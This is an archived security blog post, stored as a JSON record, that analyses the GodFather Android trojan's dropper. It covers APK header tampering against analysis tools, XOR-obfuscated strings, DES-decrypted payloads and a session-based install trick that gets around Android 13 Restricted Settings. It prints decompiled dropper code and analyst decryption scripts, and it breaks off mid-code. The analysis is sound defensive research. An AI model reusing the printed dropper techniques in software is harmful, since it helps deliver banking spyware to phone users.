{
	"id": "da8ddf62-47cc-4159-9b3a-4d367c27e4e6",
	"created_at": "2026-04-06T00:09:54.512313Z",
	"updated_at": "2026-04-10T03:20:02.012746Z",
	"deleted_at": null,
	"sha1_hash": "012ee3ea191ddbe6a1fcca13064d59bc341b62df",
	"title": "Blog - GodFather - Part 1 - A multistage dropper",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1308258,
	"plain_text": "Blog - GodFather - Part 1 - A multistage dropper\r\nArchived: 2026-04-05 17:17:36 UTC\r\nRandorisec - Shindan\r\nAuthors: Paul (R3dy) Viard\r\nThis article is the first installment in a comprehensive technical analysis of the GodFather malware. In this part,\r\nwe focus specifically on the packing technique used by the dropper responsible for distributing the latest, more\r\nsophisticated variant of the malware, first identified by Zimperium in June.\r\nAccording to their report, this dropper:\r\nUses a session-based installation technique to install the actual payload on the victim’s device, in order\r\nto bypass the accessibility permissions restrictions.\r\nSpecial thanks to Fernando Sanchez Ortega for providing a sample of this new variant.\r\nInformations Value\r\nSHA256 49002e994539fa11eab6b7a273cf90272dda43aa3dd9784fde4c23bf3645fdcb\r\nPackage name com.metaprescutal.systematist\r\nState of Art\r\nAs the first part of this article, the state of the art will focus on droppers that employ the same dispensing\r\ntechnique.\r\nIn August 2022, Google released Android 13 (API level 33), introducing Restricted Settings as a security and\r\nprivacy enhancement. This feature prevents applications installed from unknown sources from automatically\r\nreceiving sensitive permissions and capabilities.\r\nBefore and after the introduction of this feature, many droppers adapted their distribution techniques:\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 1 of 28\n\nBugDrop, uncovered by ThreatFabric in August 2022, was still under development at the time of\r\ndiscovery, as indicated by numerous incomplete code sections. Notably, the presence of the string\r\n\"com.example.android.apis.content.SESSION_API_PACKAGE_INSTALLED\" suggested an intent to leverage\r\nsession-based installation.\r\nSecuriDropper, identified by ThreatFabric in November 2023, successfully used the session-based\r\ninstallation API to side-load malicious payloads such as SpyNote and Ermac.\r\nTiramisuDropper also utilizes session-based installation, extracting the payload from an APK embedded\r\nwithin the assets folder, as described in this analysis.\r\nOur analysis focuses on one of the most recent variants, with the SHA-256 hash:\r\n49002e994539fa11eab6b7a273cf90272dda43aa3dd9784fde4c23bf3645fdcb\r\nAnti-Reversing technique\r\nWe couldn't open the APK using jadx-gui because of an encrypted entry error.\r\njava\r\nCaused by: java.util.zip.ZipException: invalid CEN header (encrypted entry)\r\nUsing unzip showed us that files are password protected. However, this is a misinterpretation of the tool. APKs\r\ncannot function properly with encrypted core files like classes.dex or resources.arsc . This trick is often\r\nused to confuse basic tools and hinder static analysis, while the application remains fully functional on Android\r\ndevices.\r\nshell\r\nunzip GF.apk\r\nArchive: GF.apk\r\n[GF.apk] classes3.dex password:\r\n skipping: classes3.dex incorrect password\r\n \r\n skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password\r\n skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password\r\n skipping: classes2.dex incorrect password\r\nInspecting the APK with zipdetails revealed that the General Purpose Bit Flag values have been modified,\r\nand an extra JADXBLOCK section has been added to some files.\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 2 of 28\n\nshell\r\n30C105 LOCAL HEADER\r\n30C109 Extract Zip Spec 2D '4.5'\r\n30C10A Extract OS 00 'MS-DOS'\r\n30C10B General Purpose Flag 0A09\r\n [Bit 0] 1 'Encryption'\r\n [Bits 1-2] 1 'Maximum Compression'\r\n [Bit 3] 1 'Streamed'\r\n [Bit 11] 1 'Language Encoding'\r\n \r\n3AEA24 Filename 'classes.dex/res/kglnp/qqpys.xml'\r\n3AEA43 Extra ID\r\n3AEA45 Length 0009\r\n3AEA47 Extra ID\r\n3AEA49 Length 5844\r\n3AEA4B PAYLOAD BLOCK..!.........JADXBLOCK_EXT_9662REF_8\r\n 10].1..P.D..*.1..\r\nEach file within a .ZIP archive has a local file header preceding its data. These local file headers follow a\r\nconsistent\r\nstructure\r\n.\r\nGeneral Purpose Bit Flag is a field in the local file header that controls how the file is stored and processed.\r\nModified flags may indicate tampering, encryption or special handling.\r\nSetting bit 0 of the General Purpose Bit Flag to 1, marks the file as encrypted. Here, this APK deliberately set\r\nthis bit without actually encrypting the file.\r\nA Python script is provided in the Annexes to disable the tampering on the APK\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 3 of 28\n\nshell\n30BF2C LOCAL HEADER\n30BF30 Extract Zip Spec 2D '4.5'\n30BF31 Extract OS 00 'MS-DOS'\n30BF32 General Purpose Flag 0000\n [Bits 1-2] 0 'Normal Compression'\nNevertheless, the archive structure is deliberately crafted so that tools like jadx or apktool replace essential\nAPK files, such as AndroidManifest.xml , resources.arsc , and classes.dex , with directories bearing the\nsame names, effectively concealing the original contents.\nFor example, using unzip to extract the archive, results in a misleading output:\nshell\nunzip normalized_GF.apk -d normalized_GF.d\nArchive: normalized_GF.apk\n inflating: normalized_GF.d/classes3.dex\n\ninflating: normalized_GF.d/classes4.dex\n\nreplace normalized_GF.d/classes.dex? [y]es, [n]o, [A]ll, [N]one, [r]ename: r\nnew name: unk_classes.dex\nIn this case, the real classes.dex file conflicts with the folder of the same name, forcing a rename during\nextraction with \"unk_classes.dex\" . This technique is a form of archive obfuscation meant to confuse both\nanalysis tools and manual reviewers, making it harder to locate key APK files after extraction.\nUnderstanding the Manifest\nUsing Androguard , we converted the Android Binary XML to a readable XML file.\nxml\nandroguard axml normalized_GF.apk\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\nPage 4 of 28\n\n\u003c\nNext, to understand the capabilities of this variant, we need to examine the permissions it requests.\nRequested Permissions\nThe AndroidManifest.xml file includes two noteworthy permissions: REQUEST_INSTALL_PACKAGES and\nQUERY_ALL_PACKAGES .\nREQUEST_INSTALL_PACKAGES allows the application to prompt the user to install other APK files, typically\nused by marketplaces or updaters.\nQUERY_ALL_PACKAGES gives the app visibility into all installed packages on the device, bypassing the\nscoped package visibility restrictions introduced in Android 11 (API level 30).\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\nPage 5 of 28\n\nThe presence of both permissions is significant. It suggests that the dropper may attempt to bypass recent\nrestrictions enforced by Google on newer Android versions, particularly Android 13 and above. In these versions,\nGoogle has tightened controls around package visibility and app installations to limit abuse by malicious apps.\nWe'll explore how the malware potentially leverages these permissions to bypass security policies in the Dropper\n- Stage 2 part.\nxml\n\u003c\nFinally, we will examine the application’s declared components, including its activities, as defined in the manifest\nfile. This analysis helps identify potential entry points, UI decoys and behavior triggers used by the dropper.\nApplication \u0026 Activities\nAccording to Android Developers documentation, the android:name is:\nThe fully qualified name of an Application subclass implemented for the application. When the\napplication process is started, this class is instantiated before any of the application's components.\nIn this case, it's:\nxml\nandroid:name=\"com.henguhbrehti.rthierhtjhrt.b\"\nIt often serves as an initial entry point for malware to perform early-stage tasks such as setting up dynamic class\nloaders, modifying system properties or preparing the execution environment as we will see in Dropper - Stage 1.\nHere is a relevant snippet from the AndroidManifest.xml :\nxml\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\nPage 6 of 28\n\n\u003c\nThen, three activities in the com.metaprescutal.systematist package are listed. One of them is worth noting as\nit represents the application's entry point com.metaprescutal.systematist.gresil .\nxml\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\nPage 7 of 28\n\nIn a nutshell, the manifest reveals a custom Application class com.henguhbrehti.rthierhtjhrt.b which is\r\nlikely responsible for early initialization and preloading of malicious components. Combined with the presence of\r\nmultiple exported activities and a clearly defined launcher activity ( com.metaprescutal.systematist.gresil ),\r\nthese elements suggest a carefully structured dropper designed to evade detection and prepare the environment for\r\nsubsequent stages.\r\nIn the next section, Dropper – Stage 1, we will analyze the behavior of this Application class and uncover the\r\ntechniques it employs to load and execute the actual malicious payload.\r\nDropper - Stage 1\r\nThis sample of the GodFather malware employs a multistage dropper architecture, a common technique\r\nused to evade detection and obfuscate malicious behavior (in this case, hiding the technique used to side-load the core of GodFather).\r\nThe initial stage acts as a loader or stub, whose main purpose is to dynamically load the actual dropper\r\ncode at runtime. It achieves this by embedding a ZIP archive from the application assets, which contains\r\ntwo encrypted dex files.\r\nOnce the tampering flags applied to the APK are removed, we proceeded to open it in jadx-gui for analysis.\r\nThe package com.metaprescutal.systematist , which defines critical components such as the UI entry point, is\r\nabsent from the decompiled code, suggesting that it is dynamically loaded at runtime.\r\nBefore dissecting how the second stage is deployed, understanding how the sample is obfuscated is essential,\r\nespecially since all the strings are encrypted.\r\nMultiple Obfuscations\r\nStrings\r\nTo hide important strings such as filename or encryption algorithm names, the malware calls a function, renamed\r\nas decryptStrings , with an integer key as parameter, that returns a XOR decrypted string.\r\njava\r\nFile file = new File(application.getCacheDir(), decryptStrings(203));\r\nelse if (key == 203) {\r\nbyte[] bArr2 = new byte[11];\r\nbArr2[0] = -88;\r\nbArr2[1] = -89;\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 8 of 28\n\nbArr2[2] = -86;\r\nbArr2[3] = -72;\r\nbArr2[4] = -72;\r\nbArr2[5] = -82;\r\nbArr2[6] = -72;\r\nbArr2[7] = -27;\r\nbArr2[8] = -79;\r\nbArr2[9] = -94;\r\nbArr2[10] = -69;\r\nwhile (i10 \u003c 11) {\r\nbArr2[i10] = (byte) ((byte) (bArr2[i10] ^ key));\r\ni10++;\r\n}\r\nreturn new String(bArr2, StandardCharsets.UTF_8);\r\n}\r\nEach decimals are converted into signed bytes, XORed and then returned as a string with the UTF-8 charset.In\r\nthe above example, the returned string is \"classes.zip\" .\r\nA Python script is provided in the Annexes to assist analysts in the strings decryption process.\r\nDead codes\r\nTo obfuscate the malicious code as much as possible, threat actors can add dead codes. These lines will never be\r\nexecuted during runtime, to make detection of intrusive functions more complicated.\r\nFor instance, inside the decryption strings function:\r\njava\r\nif (e != null) {\r\nb = 0;\r\nwhile (b \u003c e.length) {\r\ntry {\r\nList\u003cString\u003e list33 = d;\r\nStringBuilder sb17 = new StringBuilder();\r\nList\u003cString\u003e list34 = d;\r\nlist33.set(1599583539, sb17.append(list34.get(list34.size() - b)).append(e[b\r\n} catch (Exception e18) {\r\n}\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 9 of 28\n\na = 0;\r\nwhile (a \u003c d.size()) {\r\nList\u003cString\u003e list35 = d;\r\nint i44 = a;\r\nStringBuilder sb18 = new StringBuilder();\r\nList\u003cString\u003e list36 = d;\r\nlist35.set(i44, sb18.append(list36.get(list36.size() - a)).append(e[159958353\r\nc = 0;\r\nwhile (true) {\r\nint i45 = c;\r\nint i46 = b;\r\ni2 = a;\r\nif (i45 \u003c i46 + i2) {\r\nif (i45 == 0) {\r\ntry {\r\nd.set(i45, d.get(0) + b);\r\n} catch (Exception e19) {\r\n}\r\n} else {\r\nd.set(i45, d.get(1599583539) + a);\r\n}\r\nint i47 = c + 1;\r\nc = i47;\r\nc = i47 + 1;\r\nif (i == 179) {\r\nbyte[] bArr = new byte[9];\r\nbArr[0] = -105;\r\nbArr[1] = -9;\r\nbArr[2] = -10;\r\nbArr[3] = -21;\r\nbArr[4] = -20;\r\nbArr[5] = -23;\r\nbArr[6] = -6;\r\nbArr[7] = -29;\r\nbArr[8] = -105;\r\nwhile (i11 \u003c 9) {\r\nbArr[i11] = (byte) ((byte) (bArr[i11] ^ i));\r\ni11++;\r\n}\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 10 of 28\n\nThese obfuscation techniques make code analysis more time-consuming and slow down analysts' work.\r\nNevertheless, by deciphering its strings, we are able to understand how the dropper's core code is loaded.\r\nDynamic Code Loading\r\nFollowing the execution of the attachBaseContext method in the com.henguhbrehti.rthierhtjhrt.b class, we\r\nidentified the code responsible for accessing a file stored in the application assets directory.\r\nThe malware opens a file named bhgdtczzkbjacwee from the assets folder:\r\njava\r\nbyte[] assetFileBytes = FileManager.open(application.getAssets().open(\"bhgdtczzkbjacwee\"));\r\nUsing standard Linux command-line tools such as file and unzip , we examined the file and retrieved\r\ninformation about its format and contents.\r\nsh\r\nfile bhgdtczzkbjacwee\r\nbhgdtczzkbjacwee: Zip archive data, at least v1.0 to extract\r\nunzip -l bhgdtczzkbjacwee\r\nArchive: bhgdtczzkbjacwee\r\n Length Date Time Name\r\n--------- ---------- ----- ----\r\n 219724 2025-05-11 12:04 classes2.dex\r\n 219028 2025-05-11 12:04 classes.dex\r\n--------- -------\r\n 438752\r\nunzip -l : list files (short format)\r\nThe file bhgdtczzkbjacwee is actually a .zip archive containing two DEX files: classes2.dex and\r\nclasses.dex . This pattern suggests that the dropper loads multiple payloads from the `assets` folder using a ZIP\r\narchive as a container.\r\nThe malware first creates a ZIP file inside the cache directory of the file system. It then extracts both .dex files\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 11 of 28\n\nand stores them in a newly created dex directory. This folder is used to store the .dex file that will later be\r\nexecuted in memory.\r\njava\r\nFile zipFile = new File(application.getCacheDir(), decryptStrings(203));\r\nFileManager.write(zipFile, assetFileBytes);\r\nd.extractFromZip(zipFile, application.getCacheDir());\r\nzipFile.delete();\r\nFile dexDir = application.getDir(decryptStrings(252), 0);\r\nAfter extraction, the malware constructs a list of DEX files using:\r\njava\r\nArrayList decryptedFilesList = new ArrayList();\r\nList\u003cFile\u003e fileArray = FileManager.addFiles(application.getCacheDir(), decryptStrings(303));\r\nEach file in the fileArray is then passed through a decryption routine, preparing the payloads for dynamic\r\nloading and execution in the next phase.\r\nDES Decryption\r\nDuring execution, each file in fileArray is processed by the malware’s custom decryption routine. The loop\r\niterates over all entries and performs the following operations:\r\njava\r\nfor (File oldFile : fileArray) {\r\nFile newFile = new File(dexDir, oldFile.getName());\r\ne.decryptFile(oldFile, newFile);\r\nnewFile.setReadable(true);\r\nnewFile.setWritable(false);\r\ndecryptedFilesList.add(newFile);\r\n \r\n}\r\nEach file is passed to the decryptFile() function, which handles two key operations: decompression and\r\ndecryption.\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 12 of 28\n\nStep 1: Decompression (DEFLATE Algorithm)\r\nThe first stage involves decompressing the file using the DEFLATE algorithm. Internally, the malware leverages\r\nJava’s built-in InflaterInputStream and InflaterOutputStream classes:\r\njava\r\nFileInputStream fileInputStream = new FileInputStream(file);\r\nFileOutputStream fileOutputStream = new FileOutputStream(file2);\r\nInflaterInputStream inflaterInputStream = new InflaterInputStream(\r\n new BufferedInputStream(fileInputStream, 8192)\r\n);\r\nInflaterOutputStream inflaterOutputStream = new InflaterOutputStream(\r\n new BufferedOutputStream(fileOutputStream, 8192)\r\n);\r\nThis indicates that the original .dex files are stored in a compressed format to reduce file size and evade static\r\ndetection.\r\nStep 2: DES Decryption\r\nAfter decompression, the next stage is decryption using the DES (Data Encryption Standard) algorithm. The\r\nmalware uses a hardcoded key \"ahwxshehavinqtgz\"\r\nThis decryption step transforms the compressed and encrypted payloads into valid, readable DEX files that are\r\nloaded dynamically by the malware at runtime.\r\njava\r\ndesDecrypt(\"ahwxshehavinqtgz\", inflaterInputStream, inflaterOutputStream);\r\nSecretKey generateSecret = SecretKeyFactory.getInstance(stringDecrypt(308)).generateSecret(new DESKey\r\nCipher instance = Cipher.getInstance(stringDecrypt(340));\r\ninstance.init(2, generateSecret);\r\nwriteStream(inflaterInputStream, new CipherOutputStream(inflaterOutputStream, instance));\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 13 of 28\n\nA Java snippet is available in the Annexes, which extracts the two dex files from the bhgdtczzkbjacwee\r\narchive, decompress and decrypt them.\r\nTo continue our analysis, we executed the provided code. As a result, two files are created:\r\nThese .dex files represent the second stage of the dropper payload dynamically loaded in memory. With these\r\ndecrypted files, we are able to statically inspect the second stage of the dropper.\r\nDropper - Stage 2\r\n\u003e The second stage of the dropper bypasses the Restricted Settings feature added by Google on Android 13\r\nwhich forbid side-loaded applications (applications from non-official app-stores) to request Accessibility settings,\r\nNotification Listener access and Display over apps.\r\nBypass restriction\r\nOpening the two newly decrypted .dex files inside jadx-gui revealed the missing package\r\ncom.metaprescutal.systematist , including its entry-point: .gresil class.\r\nWithin the onCreate method of this class, numerous Base64-encoded strings are used to populate the user\r\ninterface.\r\nThese strings are written in Turkish and indicate that the malware tries to imitate a Turkish music download\r\nplatform.\r\nFor example:\r\nThis fake interface serves as a social engineering lure, encouraging the user to grant permissions under the\r\npretense of unlocking full application functionality.\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 14 of 28\n\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 15 of 28\n\nIn parallel, the malware programmatically checks whether it can request installation permissions by invoking:\r\njava\r\ngresil.this.getPackageManager().canRequestPackageInstalls()\r\nAccording to Android Developers documentation:\r\nChecks whether the calling package is allowed to request package installs through package installer.\r\nIn order to use this function, the application must declare in the manifest the REQUEST_INSTALL_PACKAGES\r\npermissions, as seen earlier in the article.\r\nSubsequently, the malware issues an intent requesting the MANAGE_UNKNOWN_APP_SOURCES permission using the\r\nstartActivityForResult function with the request code 100 .\r\nThis action opens a system dialog, prompting the user to allow installations from unknown sources specifically for\r\nthis app. It serves as a preparatory step, enabling the malware to install an external APK, which contains the core\r\npayload of the GodFather banking trojan, without further user intervention.\r\njava\r\n@Override\r\npublic void onClick(View v) {\r\nif (!gresil.this.getPackageManager().canRequestPackageInstalls()) {\r\ngresil.this.startActivityForResult(new Intent(\"android.settings.MANAGE_UNKNOWN_APP_SO\r\nreturn;\r\n}\r\nNext, when the MANAGE_UNKNOWN_APP_SOURCES is accepted, the malware continues to the method\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 16 of 28\n\nonRequestPermissionsResult .\r\nIf the request code is 100 , the snippet below calls again canRequestPackageInstalls and uses the shared\r\npreferences key \"permission\" to store the value \"ok\" , meaning that the permission has been accepted.\r\njava\r\n@Override\r\npublic void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {\r\nsuper.onRequestPermissionsResult(requestCode, permissions, grantResults);\r\nif (requestCode != 100) {\r\nreturn;\r\n}\r\nif (grantResults.length \u003c= 0 || grantResults[0] != 0) {\r\nToast.makeText(this, decodeBase64(\"UGVybWlzc2lvbiBEZW5pZWQ\"), 1).show();\r\n} else if (getPackageManager().canRequestPackageInstalls()) {\r\nSharedPreferences.Editor e = getSharedPreferences(\"setting\", 0).edit();\r\ne.putString(\"permission\", \"ok\");\r\ne.apply();\r\n}\r\nFollowing the onCreate method in the Android activity lifecycle, the malware proceeds to execute the\r\nonResume method. This function is responsible for verifying whether the user has granted the necessary\r\npermission to proceed to the component of the dropper.\r\nThe logic checks whether the Shared Preferences key \"permission\" contains the string \"ok\" .If so, the\r\napplication calls the levoglucose activity to continue the infection chain.\r\njava\r\n@Override\r\npublic void onResume() {\r\ntry {\r\nif (sharedpreferences.getString(\"permission\", \"\").contains(\"ok\")) {\r\ntry {\r\nstartActivity(new Intent(this, levoglucose.class));\r\n} catch (Exception e2) {\r\n}\r\nfinish();\r\n}\r\n} catch (Exception e3) {\r\n}\r\n}\r\nIn the newly loaded class levoglucose , the control flow follows a typical Android activity pattern. The\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 17 of 28\n\nonCreate method is used to setup a new content view.Immediately after, the activity transitions into onResume\r\nwhich calls a custom showDialog function if GodFather package named \"com.heb.reb\" , isn't installed on the\r\nsystem.\r\njava\r\n@Override\r\npublic void onCreate(Bundle savedInstanceState) {\r\nsuper.onCreate(savedInstanceState);\r\nsetContentView(2131361820);\r\n}\r\npublic void onResume() {\r\nsuper.onResume();\r\nif (!isAppInstalled(\"com.heb.reb\")) {\r\nshowDialog();\r\nreturn;\r\n}\r\nelse {\r\n \r\n}\r\nThis method sets up an AlertDialog that repeatedly prompts the user to install a plugin, specifically the\r\nGodFather core APK. Like the previous class, Base64-encoded strings are used to prompt the user to click on the\r\nUPLOAD button of the AlertDialog.\r\njava\r\npublic void showDialog() {\r\nAlertDialog.Builder builder = new AlertDialog.Builder(this);\r\nbuilder.setMessage(gresil.decodeBase64(\"VXlndWxhbWFtxLF6xLEga3VsbGFuYWJpbG1layBpw6dpbiBla2xlb\r\nbuilder.setCancelable(false);\r\nbuilder.setPositiveButton(gresil.decodeBase64(\"WcOcS0xF\"), new DialogInterface.OnClickListene\r\n \r\nWhen the user interacts with the AlertDialog by clicking the confirmation button, the dropper initiates a new\r\napp installation process via the Android PackageInstaller API.\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 18 of 28\n\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 19 of 28\n\nSpecifically, the code invokes:\r\njava\r\n@Override\r\npublic void onClick(DialogInterface dialog, int which) {\r\nPackageInstaller packageInstaller = getPackageManager().getPackageInstaller();\r\nsession = packageInstaller.openSession(\r\n packageInstaller.createSession(\r\n new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL)\r\n )\r\n);\r\n \r\nThe malware explicitly requests a full installation session ( MODE_FULL_INSTALL ). This mode allows the malware\r\nto install an entire APK file, not just incremental updates, effectively enabling it to side-load and deploy the next\r\nstage of its payload without relying on external tools or user-initiated actions beyond the initial tap.\r\nOnce the session is created, the method calls a custom function named addApkToInstallSession with 2\r\nparameters : a filename umbras.apk and the session.\r\njava\r\nlevoglucose.this.addApkToInstallSession(\"umbras.apk\", session);\r\nThe following function is responsible for loading the file umbras.apk from the application assets folder and\r\nwriting it into the packageInSession :\r\njava\r\npublic final void addApkToInstallSession(String assetName, PackageInstaller.Session session) throws I\r\nOutputStream packageInSession = session.openWrite(\"package\", 0, -1);\r\ntry {\r\nInputStream is = getAssets().open(assetName);\r\nbyte[] buffer = new byte[16384];\r\nwhile (true) {\r\nint n = is.read(buffer);\r\nif (n \u003c 0) {\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 20 of 28\n\nbreak;\r\n}\r\npackageInSession.write(buffer, 0, n);\r\n}\r\nis.close();\r\nif (packageInSession != null) {\r\npackageInSession.close();\r\n}\r\nAs soon as umbras.apk is written inside the session, showDialog method commits the install session, which\r\nstarts the actual APK installation using the package installer session.\r\njava\r\nintent.setAction(\r\n\"com.example.android.apis.content.SESSION_API_PACKAGE_INSTALLED\"\r\n);\r\nIn addition, it uses a PendingIntent to restart the activity class leveoglucose when the install is complete.\r\njava\r\nContext context = levoglucose.this;\r\nIntent intent = new Intent(context, levoglucose.class);\r\nintent.setAction(\r\n\"com.example.android.apis.content.SESSION_API_PACKAGE_INSTALLED\"\r\n);\r\nsession.commit(PendingIntent.getActivity(\r\ncontext, 0, intent, 33554432\r\n).getIntentSender());\r\nBack to onResume again after restarting the activity, the APK is now installed on the system with the package\r\nname \"com.heb.reb\" and then started via the launchIntentForPackage intent.\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 21 of 28\n\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 22 of 28\n\njava\r\n@Override\r\npublic void onResume() {\r\nsuper.onResume();\r\nif (!isAppInstalled(\"com.heb.reb\")) {\r\n \r\n}\r\ntry {\r\nIntent launchIntentForPackage = getPackageManager().getLaunchIntentForPackage(\"com.he\r\nif (launchIntentForPackage != null) {\r\nBundle mBundle = new Bundle();\r\nmBundle.putString(\"package\", getPackageName());\r\nmBundle.putString(\"packagestp\", footslogger.class.getName());\r\nlaunchIntentForPackage.putExtras(mBundle);\r\nstartActivity(launchIntentForPackage);\r\n}\r\n} catch (Exception e) {\r\n}\r\n}\r\nAt this stage, the GodFather core application is now installed on the device and directly launched via the previous\r\ncode. Once active, the core program immediately requests Accessibility Service privileges, enabling it to bypass\r\nuser interaction barriers. With these elevated permissions, the malware can perform a wide range of intrusive\r\nactions on the victim’s phone, effectively transitioning from the dropper phase to full spyware functionality.\r\nAnnexes\r\nSkip ZIP Evasion techniques\r\npython\r\nimport zipfile\r\nfrom io import BytesIO\r\nimport sys\r\nimport os\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 23 of 28\n\ndef detricks_apk(apk_path, output_path):\r\n new_apk = BytesIO()\r\nack with zipfile.ZipFile(apk_path, 'r') as zin:\r\n with zipfile.ZipFile(new_apk, 'w', zipfile.ZIP_DEFLATED) as zout:\r\n for item in zin.infolist():\r\n item.flag_bits = 0\r\n item.extra = b''\r\n data = zin.read(item.filename)\r\n zout.writestr(item, data)\r\n with open(output_path, 'wb') as f:\r\n f.write(new_apk.getvalue())\r\n print(f\"-\u003e New APK written to: {output_path}\")\r\nif __name__ == \"__main__\":\r\n if len(sys.argv) != 2:\r\n print(\"Usage: python normalize_apk.py tricked_sampke.apk\")\r\n sys.exit(1)\r\n input_apk = sys.argv[1]\r\n output_apk = f\"normalized_{os.path.basename(input_apk)}\"\r\n detricks_apk(input_apk, output_apk)\r\nStrings decryption\r\njava\r\nimport re\r\nimport sys\r\ndef main() -\u003e int:\r\n if len(sys.argv) \u003c= 1:\r\n print(\"Usage: python3 decryptStrings.py \u003ckey\u003e\")\r\n return -1\r\n key = int(sys.argv[1])\r\n print(\"Enter bArrX values (paste the lines, then press Ctrl+D to finish):\")\r\n try:\r\n content = sys.stdin.read()\r\n except KeyboardInterrupt:\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 24 of 28\n\nprint(\"\\ninput error.\")\r\n return 1\r\n numbers = re.findall(r'=\\s*(-?\\d+);', content)\r\n numbers = list(map(int, numbers))\r\n print(\"Extracted numbers:\", numbers)\r\n decrypted_bytes = bytes([(x ^ key) \u0026 0xFF for x in numbers])\r\n try:\r\n decrypted_string = decrypted_bytes.decode('utf-8')\r\n print(\"Decrypted string:\", decrypted_string)\r\n except UnicodeDecodeError:\r\n print(\"Decrypted bytes (non-UTF-8):\", decrypted_bytes)\r\n return 0\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\nInput\r\nsh\r\nEnter bArrX values (paste the lines, then press Ctrl+D to finish):\r\nbArr2[0] = -88;\r\n bArr2[1] = -89;\r\n bArr2[2] = -86;\r\n bArr2[3] = -72;\r\n bArr2[4] = -72;\r\n bArr2[5] = -82;\r\n bArr2[6] = -72;\r\n bArr2[7] = -27;\r\n bArr2[8] = -79;\r\n bArr2[9] = -94;\r\n bArr2[10] = -69;\r\n \r\n\u003cCTRL+D\r\nOutput\r\nsh\r\nExtracted numbers: [-88, -89, -86, -72, -72, -82, -72, -27, -79, -94, -69]\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 25 of 28\n\nDecrypted string: classes.zip\r\nExtract and decryption of dropper stage two\r\njava\r\nimport javax.crypto.Cipher;\r\nimport javax.crypto.CipherOutputStream;\r\nimport javax.crypto.SecretKey;\r\nimport javax.crypto.SecretKeyFactory;\r\nimport javax.crypto.spec.DESKeySpec;\r\nimport java.io.*;\r\nimport java.nio.file.*;\r\nimport java.util.zip.*;\r\nimport java.nio.charset.StandardCharsets;\r\npublic class DecryptStageOne {\r\n public static void main(String[] args) {\r\n try {\r\n String zipPath = \"../bhgdtczzkbjacwee\";\r\n String outputFolder = \"./decrypted_folder\";\r\n String key = \"ahwxshehavinqtgz\";\r\n if (args.length \u003c= 0) {\r\nSystem.out.println(\"usage: java DecryptStageOne \u003czip_archive\u003e\");\r\n } else {\r\n System.out.println(\"The archive is \" + args[0]);\r\n unzip(new File(args[0]), new File(outputFolder));\r\n Files.walk(Paths.get(outputFolder))\r\n .filter(Files::isRegularFile)\r\n .forEach(path -\u003e {\r\n try {\r\n File decryptedFile = new File(path.toString() + \".decrypted\");\r\n decryptFile(path.toFile(), decryptedFile, key);\r\n System.out.println(\"Decrypted: \" + decryptedFile.getPath());\r\n } catch (Exception e) {\r\n System.err.println(\"Failed to decrypt: \" + path);\r\n e.printStackTrace();\r\n }\r\n });\r\n }\r\n \r\n } catch (Exception e) {\r\n e.printStackTrace();\r\n }\r\n }\r\n public static void unzip(File zipfile, File folder) throws IOException {\r\n ZipInputStream zis = new ZipInputStream(\r\n new BufferedInputStream(\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 26 of 28\n\nnew FileInputStream(zipfile.getCanonicalFile())));\r\n ZipEntry ze;\r\n try {\r\n while ((ze = zis.getNextEntry()) != null) {\r\n File f = new File(folder.getCanonicalPath(), ze.getName());\r\n if (ze.isDirectory()) {\r\n f.mkdirs();\r\n continue;\r\n }\r\n f.getParentFile().mkdirs();\r\n OutputStream fos = new BufferedOutputStream(new FileOutputStream(f));\r\n try {\r\n final byte[] buf = new byte[8192];\r\n int bytesRead;\r\n while ((bytesRead = zis.read(buf)) != -1) {\r\n fos.write(buf, 0, bytesRead);\r\n }\r\n } finally {\r\n fos.close();\r\n }\r\n }\r\n } finally {\r\n zis.close();\r\n }\r\n }\r\n public static void decryptFile(File inputFile, File outputFile, String key) throws Exception {\r\n try (\r\n FileInputStream fis = new FileInputStream(inputFile);\r\n FileOutputStream fos = new FileOutputStream(outputFile);\r\n InflaterInputStream bis = new InflaterInputStream(new BufferedInputStream(fis, 8192));\r\n InflaterOutputStream bos = new InflaterOutputStream(new BufferedOutputStream(fos, 8192))\r\n ) {\r\n decryptStream(key, bis, bos);\r\n }\r\n }\r\n private static void decryptStream(String key, InputStream inputStream, OutputStream outputStream\r\n SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\r\n SecretKey secretKey = keyFactory.generateSecret(new DESKeySpec(key.getBytes(StandardCharsets\r\n Cipher cipher = 